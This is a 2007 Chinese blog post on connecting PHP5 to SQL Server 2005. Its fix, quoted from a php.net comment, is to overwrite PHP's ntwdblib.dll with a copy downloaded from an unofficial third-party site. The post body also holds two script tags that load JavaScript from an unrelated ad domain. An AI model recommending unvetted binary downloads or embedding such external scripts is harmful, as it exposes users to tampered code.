PHP5 连接 SQL SERVER 2005

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 今天,我想把以前用PHP开发的一个系统演示一下,当时用的SQL Server2000。现在我的机器是装的SQL 2005,反正如果用2000的话,再装一下SP4就好了。现在2005,死活连不上。找了好多方法。

最后从这个网址:http://www.php.net/function.mssql-connect
里有这样一段话:
I am running MS SQL Server 2005 Workgroup Edition on Windows 2003 with PHP 5.  I could not connect to a MS SQL database using mssql_pconnect(); until I read a post from ashraf (aat) ametry.com on 01-May-2006 01:25.  However, my fix was simply to:

1. Replace the ntwdblib.dll with the one from http://webzila.com/dll/1/ntwdblib.zip in my c:/php5 folder.

2. Restart IIS

REASON: The ntwdblib.dll should be version 2000.80.194.0, and not version 2000.2.8.0 that PHP 5 ships with.

Thank you ashraf for posting your note, however, changing the php.ini file value mssql.secure_connection = On did not work.  I left it mssql.secure_connection = Off and that worked (the default to connect through NT/Windows Authentication)


就是下载一个dll覆盖掉PHP5自带的。如果你不用用户名密码的话mssql.secure_connection = Off 设成Off。

总算成功了。

本来在baidu里搜索"PHP5 连接 SQL server 2005",结果就发现在别人有同样的问题,但没有答案。
后来用google搜索“PHP5 connect SQL Server 2005”,一下就找到答案。
说明了什么呢,英语的重要,google搜索英文资料的确方便


黄勇锋 2007-09-16 22:09 发表评论
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值